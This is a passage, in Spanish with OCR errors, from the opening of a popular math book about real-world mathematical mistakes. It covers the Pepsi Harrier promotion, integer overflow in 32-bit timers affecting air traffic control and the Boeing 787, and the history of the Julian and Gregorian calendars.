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¢Qué hace que un puente se tambalee cuando no estaba previsto que fuera
asi? ¢Como es posible que miles de millones de euros se esfumen en un
instante? ;O que un edificio tiemble cuando una clase de gimnasia que salta al
ritmo de una determinada cancion iguala su frecuencia de resonancia? La
respuesta a todas estas preguntas son las matematicas. O, para ser mas
exactos, lo que sucede cuando las matematicas fallan en el mundo real.

Nuestras vidas estan fundamentadas en las matematicas: programas
informaticos, economia, ingenieria; la mayoria de las veces funcionan y no
nos percatamos de que estan ahi hasta que... dejan de hacerlo. Explorando y
explicando una retahila de errores, accidentes y percances, Matt Parker nos
muestra, en esta comedia de errores matematicos, las extrafias formas en que
las matematicas nos hacen tropezar, y lo que esto revela sobre sobre el lugar
fundamental que ocupan en nuestro mundo.

Un libro lleno de acertijos, retos, calcetines geométricos, chistes sobre codigo
binario y tres errores deliberados que desafia al lector mas audaz y nos
reconcilia con esta ciencia que, excepto cuando la saboteamos, puede ser
nuestro mejor aliado. Equivocarse nunca ha sido tan divertido.
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Dedicado a mi esposa Lucie, por su apoyo constante.

Si, soy consciente de que dedicar un libro sobre errores a tu
esposa es a su vez un pequerio error.
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Cero

INTRODUCCION

En 1995, Pepsi puso en marcha una promocion en la que la gente podia sumar
puntos Pepsi para luego canjearlos por articulos de la compafiia. Una camiseta
costaba 75 puntos, unas gafas de sol, 175, y habia incluso una chaqueta de
cuero que se podia canjear por 1.450 puntos. Llevar puestos los tres articulos
al mismo tiempo te conferia un aspecto muy de los noventa. El anuncio de
television en el que anunciaban la campafia de puntos por articulos presentaba
a un individuo que hacia justamente eso.

Pero la gente que realizo6 el anuncio queria finalizarlo con algo surrealista.
Asi que, ataviado con la camiseta, las gafas y la chaqueta de cuero, el
protagonista va a su colegio volando con su reactor Harrier. Segun el anuncio,
este avion militar podia ser tuyo por siete millones de puntos Pepsi.

La broma es bastante sencilla: cogen la idea de los puntos Pepsi y la
extrapolan hasta que suena ridicula. Un guion comico clasico. Pero da la
impresion de que no realizaron los calculos matematicos. Sin duda, siete
millones parece un nimero muy grande, pero no creo que el equipo que creo
el anuncio se molestara en hacer nimeros y comprobar si esa cifra era lo
suficientemente grande.

Sin embargo, alguien si que lo hizo. En esa época, cada reactor AV-8
Harrier II le costaba al Cuerpo de Marines de Estados Unidos mas de veinte
millones de doélares y, afortunadamente, existia una forma sencilla de
convertir los dolares estadounidenses en puntos Pepsi: Pepsi permitia que
cualquiera pudiese comprar puntos adicionales a diez centavos el punto. No
estoy familiarizado con el mercado de segunda mano de aviones militares,
pero un precio de 700.000 délares por un avion de veinte millones parece una
buena inversion. Y eso es lo que hizo John Leonard, quien intent6 sacar
provecho de ello.

Y no fue solo un patético «intenté». Fue a por todas. Segun las reglas de
la promocién, la persona interesada tenia que rellenar un formulario del
catalogo original de Pepsi, intercambiar un minimo de quince puntos e incluir
un cheque para cubrir el coste de cualquier punto adicional que le faltara para
el articulo deseado, mas diez dolares por gastos de envio. John cumplié con
todos esos requisitos. Rellend un formulario original, incluyé quince puntos
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de productos Pepsi y constituyé un deposito de 700.008,50 dolares con sus
abogados para garantizar el cheque. jEl tipo consiguio reunir el dinero! Iba en
serio.

Al principio, Pepsi rechazo su peticion: «El reactor Harrier que aparece en
el anuncio de Pepsi no es real y lo incluimos simplemente para crear un
anuncio divertido». Pero Leonard ya se habia asesorado por abogados y
estaba preparado para luchar. Sus abogados contraatacaron: «Les pedimos
formalmente que cumplan con su compromiso y lleven a cabo
inmediatamente las disposiciones necesarias para enviar el nuevo reactor
Harrier a nuestro cliente». Pepsi no cedié. Leonard los demand6 y fueron a
juicio.

El caso genero una gran polémica sobre si el anuncio en cuestion era
claramente una broma o si alguien se lo podia tomar en serio. Las notas
oficiales del juez reconocen que el caso se va a convertir en algo ridiculo: «La
insistencia del demandante en que el anuncio es una oferta seria requiere que
el tribunal explique por qué el anuncio es comico. Explicar por qué un chiste
es divertido es una tarea abrumadora».

iPero les dieron una oportunidad!

El comentario del adolescente del anuncio de que volar en el reactor Harrier para ir a la escuela
«seguro que gana al autobtis» pone de manifiesto la actitud sorprendentemente despreocupada
respecto a la dificultad relativa y el peligro de pilotar un avién de combate sobre un é&rea
residencial, en lugar de optar por el transporte publico.

Ningun colegio dispondria de una zona de aterrizaje para el aviéon de combate de un estudiante,
o toleraria el alboroto que provocaria la utilizacién del reactor.

En vista de la bien conocida funcién del reactor Harrier, o sea, atacar y destruir objetivos
terrestres y aéreos, el reconocimiento armado y la interceptacién aérea, ademas de la guerra
antiaérea ofensiva y defensiva, suponer que un reactor de esas caracteristicas se puede utilizar
como transporte para ir por las mafianas a la escuela no es nada serio.

Leonard nunca obtuvo su reactor, y el juicio Leonard contra Pepsico, Inc.
ya es parte de la historia del derecho. Personalmente, encuentro reconfortante
que, si digo algo que creo que es «humor surrealista», exista un precedente
legal que me proteja de las personas que se lo tomen seriamente. Y si eso le
supone un problema a alguien, que retina los suficientes puntos Parker para
recibir gratis una fotografia mia en plan despreocupado (se aplicara un cargo
por franqueo y envio).

Pepsi dio los pasos necesarios para protegerse de problemas futuros y
relanzo la campafia cambiando el valor del Harrier a 700 millones de puntos
Pepsi. Me parece increible que no escogieran esta cantidad elevada en primer
lugar. No es que 7 millones sonara mas divertido; simplemente, la compafiia
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no se preocup6 de hacer los calculos matematicos oportunos cuando eligio
una cantidad elevada arbitraria.

Como humanos, no somos buenos juzgando el tamafio de las cifras
elevadas. E incluso cuando sabemos que una es mayor que otra, no SOmos
conscientes de la envergadura de la diferencia. En 2012 tuve que aparecer en
las noticias de la BBC para explicar lo grande que era un billon. La deuda del
Reino Unido habia sobrepasado el billon de libras esterlinas y acudieron a mi
para que les explicase que ese es un numero muy grande. Al parecer,
vociferar «jEs realmente grande, devolvemos la conexion al estudio!» fue
insuficiente, asi que tuve que poner un ejemplo.

Utilicé mi método favorito de comparar nimeros grandes con el tiempo.
Sabemos que un millén, un millardo y un billén son cantidades diferentes,
pero a menudo no apreciamos el acusado incremento que hay entre ellas. Un
millon de segundos contados desde ahora son tan solo once dias y catorce
horas. No esta mal. Podria esperar todo ese tiempo. Son menos de dos
semanas. Un millardo de segundos es mas de treinta y un afios.

Un billon de segundos contados desde este momento nos situaria en el afio
33700 e. c.

Esos sorprendentes numeros tienen sentido si pensamos tan solo un
momento. Millén, millardo y billon son cada uno de ellos mil veces mas que
el anterior. Un millon de segundos son aproximadamente un tercio de un mes,
por lo que un millardo de segundos son unos 330 (un tercio de mil) meses. Y
si un millardo son treinta y un afios, mas o menos, entonces esta claro que un
billén son unos 31.000 afios.

Durante nuestras vidas, aprendemos que los niameros son lineales, que los
espacios que hay entre ellos son todos iguales. Si contamos de uno a nueve,
cada namero es una unidad mas que el anterior. Si le preguntamos a cualquier
persona qué numero esta a medio camino entre uno y nueve, respondera
cinco, pero solo porque eso es lo que le han ensefiado. jAbrid los ojos!
Instintivamente, los humanos perciben los nimeros de forma logaritmica, no
lineal. Un nifio pequefio o alguien que no haya sido adoctrinado por la
educacion existente dira que el numero que se halla a medio camino entre el
uno y el nueve es el tres.

Tres es una clase diferente de punto medio. Es el punto medio
logaritmico, lo que significa que es el punto medio con respecto a la
multiplicacion en lugar de a la suma. 1 x 3 =3.3 x 3 =9. Puedes pasar de 1 a
9 ya sea afnadiendo dos pasos iguales de cuatro, o multiplicando por dos pasos
iguales de tres. Por lo que el «punto medio utilizando la multiplicacion» es
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tres, y eso es lo que hacen los humanos por defecto hasta que nos ensefian a
hacerlo de otra forma.

Cuando se pidi6é a algunos miembros del grupo indigena munduruku del
Amazonas que colocaran unos puntos en el grupo al que pertenecian, entre un
punto y diez puntos, colocaron grupos de tres puntos en el centro. Si el lector
tiene acceso a un nifio de edad preescolar o menor a cuyos padres no les
importe que experimente con ellos, haran algo parecido cuando se les pida
que distribuyan nimeros.

Incluso después de toda una vida con una educacién que trata con
nimeros pequeflos, existe un instinto vestigial que nos impulsa a ver los
numeros grandes como logaritmicos; a entender que el hueco existente entre
un billon y un millardo es mas o menos igual que el salto existente entre un
millén y un millardo, porque ambos son mil veces mas grandes que el
anterior. En realidad, el salto que conduce al billon es mucho mayor: la
diferencia entre vivir hasta los treinta y pocos y llegar a una época en la que
tal vez la humanidad ya no exista.

Nuestros cerebros humanos no estan cableados para ser buenos en
matematicas por defecto. No me malinterpreten: somos buenos en un rango
fantastico de habilidades numéricas y espaciales; incluso los bebés pueden
calcular el nimero de puntos que hay en una pagina y realizar una aritmética
basica con ellos. También aparecemos en un mundo que esta equipado para el
lenguaje y el pensamiento simbdlico. Pero las habilidades que nos permiten
sobrevivir y formar comunidades no necesariamente engloban las
matematicas académicas. Una escala logaritmica es una forma valida de
disponer y comparar numeros, pero las matematicas también utilizan la recta
numeérica lineal.

Todos los humanos somos necios cuando se trata de aprender matematicas
académicas. Es un proceso mediante el cual cogemos aquello con lo que la
evoluciéon nos ha dotado y extendemos nuestras capacidades mas alla de lo
razonable. No nacimos con ninguna clase de capacidad o habilidad para
comprender de forma intuitiva qué son las fracciones, los niimeros negativos
o muchos otros conceptos extrafios desarrollados por las matematicas, pero,
con el tiempo, nuestro cerebro puede aprender lentamente a lidiar con ellos.
Actualmente, tenemos sistemas educativos que obligan a los estudiantes a
estudiar matematicas y, con el suficiente entreno, nuestros cerebros pueden
aprender a pensar matematicamente. Pero, si esas habilidades dejan de
practicarse, el cerebro humano regresa rapidamente a la configuracion de
fabrica.
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Un tipo de cupo6n de loteria britanica para rascar tuvo que retirarse del
mercado la misma semana en que fue lanzado. Camelot, compafiia
responsable de la loteria britanica, lo elimin6 porque «confundia al jugador».
El cupén se llamaba «Dinero fresco» y se presentaba con una temperatura
impresa en él. Si después de rascar, el cup6n mostraba una temperatura
inferior al valor objetivo, ganaba. Pero parece ser que muchos jugadores
tenian un problema con los nimeros negativos...

Uno de mis cupones decia que tenia que encontrar temperaturas menores que —8. Los niimeros
que destapé fueron —6 y —7, por lo que pensé que habia ganado, y lo mismo pens6 la mujer de la
tienda. Pero cuando escane6 el cupdn, la maquina dijo que no era asi. Llamé a Camelot y me
vino con el cuento de que —6 es mayor, no menor, que —8, pero yo no lo veo igual.

Lo que demuestra que la cantidad de matematicas que utilizamos en
nuestra sociedad moderna es increible y aterradora. Como especie, hemos
aprendido a explorar y utilizar las matematicas para hacer cosas que
sobrepasan lo que nuestros cerebros pueden procesar de forma natural. Nos
permiten lograr objetivos que van mas allda de aquello para lo que fue
disefiado nuestro hardware. Cuando estamos operando mas alla de la
intuicion podemos realizar las cosas mas interesantes, pero también es cuando
somos mas vulnerables. Una simple equivocacion matematica puede pasar
inadvertida para tener luego consecuencias terribles.

El mundo actual esta basado en las matematicas: programacion
informatica, economia, ingenieria..., todo son matematicas con apariencias
diferentes. Asi que todas las clases de equivocaciones matematicas
aparentemente inocuas pueden tener consecuencias muy extranas. Este libro
es una coleccion de mis errores matematicos preferidos de todos los tiempos.
Errores como los que aparecen en las paginas siguientes no son solo
graciosos, son reveladores. Descorren brevemente el telon para poner de
manifiesto las matematicas que, por regla general, pasan desapercibidas entre
bastidores. Es como si, tras nuestra hechiceria moderna, resultase que Oz hace
horas extras trabajando con un abaco y una regla de calculo. Es solo cuando
algo va mal que de repente nos damos cuenta de hasta donde nos han hecho
llegar las matematicas y de lo larga que podria ser la caida. Mi intencion no es
de ninguna manera reirme de las personas responsables de estos errores. No
hay duda de que yo mismo he cometido bastantes errores. Todos lo hemos
hecho. Como desafio adicional, y por pura diversion, he cometido
deliberadamente tres errores en este libro. jHacedme saber si los habéis
encontrado todos!
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Uno

PERDIENDO LA NOCION DEL TIEMPO

El 14 de septiembre de 2004, unos ochocientos aviones estaban realizando
vuelos de larga distancia sobre el sur de California. Un error matematico
estaba a punto de amenazar las vidas de decenas de miles de pasajeros. De
buenas a primeras, el Centro de Control del Trafico Aéreo de Los Angeles
perdié el contacto de voz por radio con todos los aviones. El panico cundié de
manera justificada.

La comunicacion por radio estuvo caida durante unas tres horas, tiempo
durante el cual los controladores utilizaron sus moviles personales para
contactar con otros centros de control del trafico aéreo para que los aviones
resintonizaran sus comunicaciones. No se produjo ningun accidente, pero, en
medio de ese caos, diez aviones volaron mas cerca unos de otros de lo que
permite la reglamentacion (5 millas nauticas horizontalmente, o 2.000 pies
verticalmente); dos pares pasaron a unas dos millas uno del otro. Se retrasaron
cuatrocientos vuelos que aun estaban en tierra y otros seiscientos fueron
cancelados. Todo ello debido a un error matematico.

Los detalles oficiales sobre la naturaleza exacta de qué fue lo que fallé son
muy escasos, pero sabemos que fue debido a un error de cronometraje en los
ordenadores del centro de control. Parece ser que los sistemas de control del
trafico aéreo contaban el tiempo empezando en 4.294.967.295 y descontando
una unidad cada milisegundo. Lo que significa que tardarian 49 dias, 17
horas, 2 minutos y 47,296 segundos en llegar a cero.

Por lo general, la maquina se reiniciaria antes de que eso pasara, y la
cuenta atras empezaria de nuevo desde 4.294.967.295. Por lo que sé, algunas
personas eran conscientes del problema potencial, por lo que la norma de
actuacion era reiniciar el sistema al menos cada treinta dias. Pero esta era solo
una forma de bordear el problema; no se hacia nada para corregir el error
matematico subyacente, es decir, que nadie habia comprobado cuantos
milisegundos habria en el tiempo de ejecucion del sistema. Asi pues, en 2004,
funcion6 accidentalmente durante cincuenta dias seguidos, alcanzo el cero y
se apagd. Ochocientos aviones que sobrevolaban una de las mayores ciudades
del mundo corrieron un gran riesgo porque, basicamente, alguien no escogio
un nimero lo suficientemente grande.
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Réapidamente, algunos culparon a una reciente actualizaciéon de los
sistemas informaticos para que utilizaran una variante del sistema operativo
Windows. Algunas de las primeras versiones de Windows (muy
especialmente Windows 95) sufrian exactamente el mismo problema.
Siempre que iniciabas un programa, Windows contaba los milisegundos para
dar el «tiempo del sistema» que haria funcionar al resto de programas. Pero,
una vez que el tiempo del sistema Windows llegaba a 4.294.967.295, volvia a
empezar de cero. Algunos programas (controladores, que permiten que el
sistema operativo interactie con dispositivos externos) tendrian
repentinamente un problema con el tiempo al contar hacia atras. Estos
controladores necesitan tener una nocién del tiempo para asegurarse de que
los dispositivos estan respondiendo con regularidad y no se cuelguen durante
mucho tiempo. Cuando Windows les inform6 de que el tiempo habia
empezado abruptamente a ir hacia atras, dejarian de funcionar y con ellos
todo el sistema.

No esta del todo claro si el culpable fue el propio Windows o si fue una
nueva parte del codigo informatico del sistema del centro de control. Pero, sea
lo que fuere, si que sabemos que el culpable es el niimero 4.294.967.295. No
fue lo suficientemente grande para los ordenadores caseros de la década de
1990 y no lo era para el control del trafico aéreo a principios de la década del
2000. Oh, y tampoco fue lo suficientemente grande en 2015 para el Boeing
787 Dreamliner.

El problema del Boeing 787 esta en el sistema que controlaba los
generadores eléctricos. Al parecer, controlaban el tiempo utilizando un
contador que sumaba una unidad cada 10 milisegundos (es decir, cien veces
en un segundo), y se paraba en 2.147.483.647 (sospechosamente cerca de la
mitad de 4.294.967.295...). Esto significa que el Boeing 787 podia perder su
suministro eléctrico si estaba en marcha de forma continua durante 248 dias,
13 horas, 13 minutos y 56,47 segundos. Esa cifra era tan grande que la
mayoria de los aviones se reiniciaban antes de que hubiera un problema, pero
era lo suficientemente corta como para que fuera factible quedarse sin
suministro eléctrico. La Administracion Federal de Aviacién describio la
situacion de esta manera:

El contador interno del software de las unidades de control del generador (GCU por sus siglas
en inglés) se desbordara después de 248 dias de suministro continuo, haciendo que la GCU pase
a modo seguro. Si las cuatro GCU principales (asociadas con los generadores instalados en el
motor) fueran puestas en marcha al mismo tiempo, después de 248 dias de suministro continuo,
las cuatro pasaran a modo seguro al mismo tiempo, con lo cual se pierde todo el suministro
eléctrico AC, sea cual sea la fase del vuelo.
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Creo que «sea cual sea la fase del vuelo» es la forma oficial de la FAA de
decir: «Se podria apagar en pleno vuelo». Su version oficial de lo que habia
que hacer para que el vuelo no tuviera problemas era que habia que realizar
«tareas de mantenimiento de manera reiterada para la desactivacion del
suministro eléctrico». Es decir, cualquiera que tuviera un Boeing 787 tenia
que recordar apagarlo y encenderlo de nuevo. Es la forma habitual de arreglar
un problema informatico. Desde entonces, Boeing ha actualizado su programa
para solucionar el problema, para que preparar el avion para el despegue no
tenga que implicar un reinicio rapido.

Cuando 4,3 millardos de milisegundos no son suficientes

Asi pues, ¢por qué Microsoft, el Centro de Control de Trafico Aéreo de Los
Angeles y Boeing se pondrian como limite un ndimero supuestamente
arbitrario de alrededor de 4,3 millardos (o su mitad) cuando se trata de
controlar el paso del tiempo? Sin duda, da la impresion de que se trata de un
problema muy extendido. Hay una pista muy importante si transformamos el
numero 4.294.967.295 en binario. Escrito con el cddigo informatico de ceros
y unos pasa a ser 11111111111111111111111111111111; una cadena de
treinta y dos unos consecutivos.

La mayoria de los humanos nunca necesitan ni acercarse a los circuitos
actuales y al cédigo binario en los que estan basados los ordenadores. Solo
necesitan preocuparse por los programas y aplicaciones que utilizan en sus
dispositivos y, ocasionalmente, el sistema operativo en el que funcionan esos
programas (como Windows o iOS). Todos ellos utilizan los digitos habituales
(del 0 al 9) del sistema de numeracion de base 10 que todos conocemos y
amamos.

Pero bajo todo esto se encuentra el codigo binario. Cuando alguien utiliza
Windows en un ordenador o iOS en un mévil, esta interactuando solo con la
interfaz grafica del usuario, o GUI (por sus siglas en inglés), que en inglés se
pronuncia deliciosamente «gooey» (empalagoso)). Por debajo de la GUI es
donde todo se complica. Hay capas de cdodigo informatico que recogen los
clics del raton y los desplazamientos hacia la izquierda que hace con él el
humano que utiliza el dispositivo y los convierte en el rigoroso codigo
maquina de unos y ceros que es el nativo de los ordenadores.

Si, en un pedazo de papel, dispusiéramos de un espacio para solo cinco
digitos, el numero mas grande que podriamos escribir seria 99.999.
Habriamos llenado cada lugar con el digito mas grande disponible. Lo que los
sistemas de Microsoft, el control de trafico aéreo y Boeing tienen en comun
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es que eran sistemas de numeros binarios de 32 bits, lo que significa que, por
defecto, el nimero mas grande que pueden escribir es treinta y dos unos en
binario, 0 4.294.967.295 en base 10.

Era ligeramente peor en sistemas que quisieran usar uno de los treinta y
dos espacios para algo mas. Si quisieras utilizar ese pedazo de papel con
espacio para cinco simbolos para escribir un nimero negativo, necesitarias
dejar el primer espacio libre para colocar en él un signo positivo o negativo,
lo que implicaria que podrias escribir todos los numeros existentes entre —
9.999 y +9.999. Se cree que el sistema de Boeing utilizaba esos «niimeros con
signo», por lo que, una vez ocupado el primer espaciolll, solo disponian de
sitio para un maximo de 31 unos, lo que se traduce en 2.147.483.647. Contar
solo centisegundos en lugar de milisegundos, les facilitaba mas tiempo, pero
no el suficiente.

Afortunadamente, es un problema que ya es pasado. Los sistemas
informaticos modernos son, por regla general, de 64 bits, lo que les permite,
por defecto, utilizar nimeros mucho mayores. El valor maximo posible sigue
siendo, por supuesto, finito, por lo que cualquier sistema informatico esta
asumiendo que finalmente sera apagado y encendido de nuevo. Pero si un
sistema de 64 bits cuenta milisegundos, no alcanzara ese limite hasta que
hayan pasado 584,9 millones de afios. Por lo que el lector no necesita
preocuparse: necesitara hacer un reinicio solo dos veces cada millardo de
afios.

Calendarios

Los métodos analogos para controlar el tiempo que utilizamos antes de la
invencion del mundo de los ordenadores, al menos, nunca dejaran de
utilizarse por completo. Las manecillas de un reloj pueden seguir girando; se
pueden afadir nuevas paginas al calendario a medida que van pasando los
afios. Olvidaos de los milisegundos: solo hay que preocuparse, como antafio,
de los dias y los afios, y no cometeremos errores matematicos que nos
arruinen el dia.

O eso es lo que penso el equipo ruso de tiro cuando llegaron a los Juegos
Olimpicos de 1908, celebrados en Londres, un par de dias antes de la fecha
prevista para el comienzo de la prueba internacional de tiro, el 10 de julio.
Pero, si el lector se fija en los resultados de las Olimpiadas de 1908, vera que
estan listados todos los paises, pero no aparece ningun resultado del equipo
ruso en la disciplina de tiro. Y eso es porque lo que era 10 de julio para los
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rusos era 23 de julio en Gran Bretafia (y, de hecho, en la mayor parte del
mundo). Los rusos estaban utilizando un calendario diferente.

Parece extrafio que algo tan sencillo como un calendario pueda funcionar
tan mal como para que un equipo de deportistas internacionales se presente en
las Olimpiadas dos semanas tarde. Pero los calendarios son mucho mas
complejos de lo que pueda parecer; da la impresion de que dividir con
antelacion el afio en dias no es tan facil y existen diferentes soluciones para
los mismos problemas.

El universo nos ha dado solo dos unidades con las que medir el tiempo: el
afio y el dia. Todo lo demas es una creacion de la humanidad para intentar
hacer la vida mas facil. Cuando el disco protoplanetario se congel6 y se
separd dando lugar a los planetas tal como los conocemos, la Tierra se creo
con una cierta cantidad de momento angular, que la mando volando de viaje
alrededor del Sol y girando a medida que avanza. La o¢rbita en la que
acabamos es la que nos dio la longitud que tiene el afio y la velocidad del giro
de la Tierra nos dio la longitud del dia.

Excepto que no encajan a la perfeccion. jNo existe ninguna razén por la
que deberian! Se trata solo del lugar donde fueron a parar esos pedazos de
roca desde el disco protoplanetario, hace miles de millones de afios. La orbita
de un afio de duracion de la Tierra alrededor de Sol ahora necesita 365 dias, 6
horas, 9 minutos y 10 segundos. Para simplificarlo, podemos decir que son
365 dias y un cuarto de dia.

Esto significa que, si celebramos la Nochevieja después de un afio de 365
dias, la Tierra todavia tarda un cuarto de dia mas en volver al punto en el que
estabamos la Nochevieja pasada. La Tierra esta girando alrededor del Sol a
una velocidad de unos 30 kilometros por segundo, por lo que esta Nochevieja
estaremos a unos 650.000 kilometros de distancia de donde estabamos el afio
pasado. Por lo tanto, si la promesa de Afio Nuevo que hemos hecho es no
llegar tarde a ningun sitio, ya la hemos incumplido.

Esto pasa de ser una inconveniencia menor a ser un problema importante
porque el periodo orbital de la Tierra controla las estaciones. El verano del
hemisferio norte se produce mas o menos en el mismo punto de la 6rbita
terrestre cada afio porque ese es el lugar donde la inclinacion de la Tierra se
alinea con la posicion del Sol. Después de cada afio de 365 dias, el afio del
calendario se aleja un cuarto de dia de las estaciones. Después de cuatro afios,
el verano empezaria un dia mas tarde. En menos de cuatrocientos afios, un
espacio de tiempo que equivaldria a la duracion de una civilizacion, las
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estaciones se habrian desplazado tres meses. Después de ochocientos afios, el
verano y el invierno se habrian cambiado de lugar el uno por el otro.

Para solucionar este inconveniente, tenemos que modificar ligeramente el
calendario para tener el mismo numero de dias que la 6rbita. De alguna
manera, necesitabamos dejar de tener el mismo ntimero de dias cada afio, pero
sin tener que utilizar una fraccion de dia; la gente se enfadaria si su dia
empezara a una hora que no fuera la medianoche. Necesitabamos vincular un
afio con la orbita terrestre sin romper el vinculo entre la duracion de un dia y
la rotacion de la Tierra.

La soluciéon que la mayoria de las civilizaciones adopt6 fue variar el
numero de dias en un afio cualquiera para que, de esa manera, haya un
numero fraccionario de dias por afio (como promedio). Pero no existe una
unica forma de hacerlo, razéon por la que todavia existen unos pocos
calendarios rivales en la actualidad (los cuales empiezan en momentos
diferentes de la historia). Si en algiin momento usted tiene acceso al mévil de
un amigo, métase en los ajustes y cambie su calendario por el budista. De
repente estara viviendo en la década de 2560. Puede intentar convencerle de
que se acaba de despertar de un coma.

Nuestro calendario moderno principal proviene del calendario republicano
romano. Tenian solo 355 dias, que eran bastantes menos de los requeridos,
por lo que se insertd6 un mes entero entre febrero y marzo, afiadiendo asi
veintidés o veintitrés dias al afio. En teoria, este ajuste se podria utilizar para
que el calendario cuadrase con el afio solar. En la practica, era asunto de los
politicos del momento decidir qué mes extra era el que habia que insertar.
Dado que esta decision podia alargar su afio de mandato o acortar el de un
oponente, la motivacién no siempre fue que el calendario cuadrase.

Rara vez un comité politico es una buena soluciéon para un problema
matematico. Los afios previos al 46 a. e. c. fueron conocidos como los «afios
de la confusion», ya que se afiadian y quitaban meses extra sin tener mucho
que ver con el momento en el que era necesario hacerlo. Al no tener noticias
de los cambios, las personas que viajaban lejos de Roma tendrian que adivinar
cual era la fecha cuando regresaban a casa.

En el afio 46 a. e. c., Julio César decidio arreglar este embrollo con un
calendario nuevo y previsible. Cada afio tendria 365 dias, el nimero entero
mas cercano al valor verdadero, y los cuartos de dia adicionales se
acumularian y se sumarian al cuarto afio, el cual pasaria a tener un unico dia
afladido. jHabia nacido el afio bisiesto con un dia extra!
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Para que todo volviese a cuadrar desde el principio, el afio 46 a. e. c.
consigui6 un récord mundial de 445 dias. Ademas del mes afiadido entre
febrero y marzo, se insertaron dos meses mas entre noviembre y diciembre. Y
entonces, a partir del afio 45 a. e. c., se insertaron los afios bisiestos cada
cuatro afios para mantener el calendario sincronizado.

Bueno, casi. Hubo un error administrativo inicial, ya que el dltimo afio de
un periodo de cuatro afios se contaba dos veces como el primer afio del
siguiente periodo, por lo que los afios bisiestos se estaban colocando
realmente cada tres afios. Pero este error fue descubierto, arreglado y, en el
afio 3 e. c., todo empez6 a funcionar como era debido.

La audacia del papa

Pero Julio César fue traicionado, aunque mucho tiempo después de su muerte,
por la diferencia de 11 minutos y 15 segundos existente entre los 365,25 dias
por afio que su calendario ofrecia y el tiempo real existente entre las
estaciones, que era de 365,242188792 dias. Una desviacion de once minutos
por dia no parece tan grave en un inicio; las estaciones se moverian
unicamente un dia cada 128 dias. Pero después de mas o menos un milenio
ese desvio se acumularia. Y la joven y advenediza religion cristiana habia
fijado su celebracion de la Pascua coordindndola con las estaciones y, a
comienzos del siglo xvi, existia una diferencia de diez dias entre la fecha y el
inicio real de la primavera.

Y ahora un dato concreto. Se dice con mucha frecuencia que los afios del
calendario juliano de 365,25 dias eran demasiado largos si los comparamos
con la orbita de la Tierra. jPero eso no es verdad! La Tierra tarda 365 dias, 6
horas, 9 minutos y 10 segundos en completar su orbita: solo un poquito mas
de 365,25 dias. El calendario juliano es demasiado corto en comparacion con
la orbita terrestre. Pero es demasiado largo en comparacion con las estaciones.
Resulta curioso, pero las estaciones no encajan perfectamente con el afio
orbital.

Ya hemos llegado al punto en el que hemos de hablar de la mecanica
orbital. A medida que la Tierra rota alrededor del Sol, la direcciéon de su
inclinacion también cambia, pasando de sefialar directamente hacia el Sol a
hacerlo en direccién opuesta cada 13.000 afios. Un calendario que reflejase
perfectamente la Orbita terrestre seguiria intercambiando las estaciones cada
13.000 afos. Si factorizamos la precesion axial de la Tierra (el cambio en su
inclinacion) en su orbita, el tiempo entre estaciones es de 365 dias, 5 horas, 48
minutos y 45,11 segundos.
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El movimiento de la inclinacién de la Tierra nos da 20 minutos y 24,43
segundos extra por oOrbita. Por lo tanto, el auténtico afio sideral (literalmente,
«de las estrellas») basado en la dérbita es mas largo que el calendario juliano,
pero el afio tropical basado en las estaciones (que es el que nos preocupa en la
actualidad) es mas corto. Y lo es porque las estaciones dependen de la
inclinacion de la Tierra respecto al Sol, no de la posicion real de la Tierra. El
lector tiene mi permiso para fotocopiar esta parte del libro y pasarsela a
cualquiera que se rija por el tipo de afio erroneo. Podria sugerirle que su
proposito de Afio Nuevo sea comprender qué significa realmente el término
«nuevo ano».

4 )

Ano sideral

31.558.150 segundos = 365,2563657 dias
365 dias, 6 horas, 9 minutos, 10 segundos

Ano tropical

31.556.925 segundos = 365,2421875 dias
\ 365 dias, 5 horas, 48 minutos, 45 segundos /

Este ligero desajuste entre el afio juliano y el tropical paso tan inadvertido
que, en el afio 1500 e. c., la inmensa mayoria de los paises de Europa y partes
de Africa estaban utilizando el calendario juliano. Pero la Iglesia catdlica
estaba harta de que la muerte de Jesus (que se celebraba segun las estaciones)
se distanciara de su nacimiento (el cual se celebraba un dia sefialado). El papa
Gregorio XIII decidio que se tenia que hacer algo. Todo el mundo tendria que
adaptarse a un nuevo calendario. Afortunadamente, si hay algo que el papa
puede hacer, es convencer a un monton de gente para que cambie su
comportamiento por razones aparentemente arbitrarias.

Lo que ahora conocemos como calendario gregoriano no fue disefiado
realmente por el papa Gregorio (estaba demasiado ocupado haciendo las
cosas que hacen los papas y tratando de convencer a la gente para que
cambiase su comportamiento), sino por el médico y astronomo italiano Luis
Lilio. Lamentablemente, Lilio murié en 1576, dos afios antes de que la
comision encargada de reformar el calendario presentara el que él habia
disefiado (ligeramente modificado). En 1582, gracias al pequefio impulso en
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forma de amenaza que supuso una bula papal, una parte importante del
mundo se paso al sistema del nuevo calendario ese mismo afo.

El avance del calendario de Lilio fue mantener el afio bisiesto cada cuatro
afios que ya estaba en el calendario juliano, pero elimind tres de esos dias
bisiestos cada cuatrocientos afios. Los afios bisiestos eran todos los afios que
eran divisibles por cuatro, y lo que sugirié Lilio fue eliminar los dias afiadidos
de los afios que también fueran multiplos de 100 (ademas de esos que también
eran multiplos de 400). Eso da un promedio de 365,2425 dias por afio;
extraordinariamente cerca del deseado afio tropical de unos 365,2422 dias.

A pesar de que es un calendario mucho mejor matematicamente, dado que
este nuevo sistema naci6 como consecuencia de las vacaciones catolicas y fue
promulgado por el papa, los paises anticatolicos eran a su vez anticalendario
gregoriano. Inglaterra (y, por extension en esa época, Norteamérica) se aferrd
al antiguo calendario juliano durante otro siglo y medio, tiempo durante el
cual su calendario no solo se alejo otro dia de las estaciones, sino que también
era diferente al utilizado en la mayor parte de Europa.

Este problema se agravé atin mas porque el calendario gregoriano tuvo un
efecto retroactivo, recalibrando el afio como si siempre se hubiera estado
utilizando (en lugar de la opcion del juliano). Gracias al poder del papa, se
decret6 que se eliminarian diez dias del mes de octubre de 1582 vy, por lo
tanto, en los paises catdlicos, al 4 de octubre de 1582 le siguio
inmediatamente el 15 de octubre. Todo esto hace que, por supuesto, los datos
historicos sean un poco confusos. Cuando las tropas inglesas desembarcaron
en la isla de Ré el 12 de julio de 1627 como parte de la guerra anglo-francesa,
el ejército francés estaba preparado para repeler el ataque, pero era el 22 de
julio. Eso ocurri6 el mismo dia. Al menos, para ambos ejércitos, era jueves.

Sin embargo, dado que el calendario gregoriano se aceptd mas por
conveniencia con las estaciones y menos porque el papa lo ordenaba, otros
paises fueron adoptandolo gradualmente. Una ley del Parlamento britanico de
1750 sefala que no solo las fechas de Inglaterra difieren de las del resto de
Europa, sino que también difieren de las de Escocia. Por lo que Inglaterra
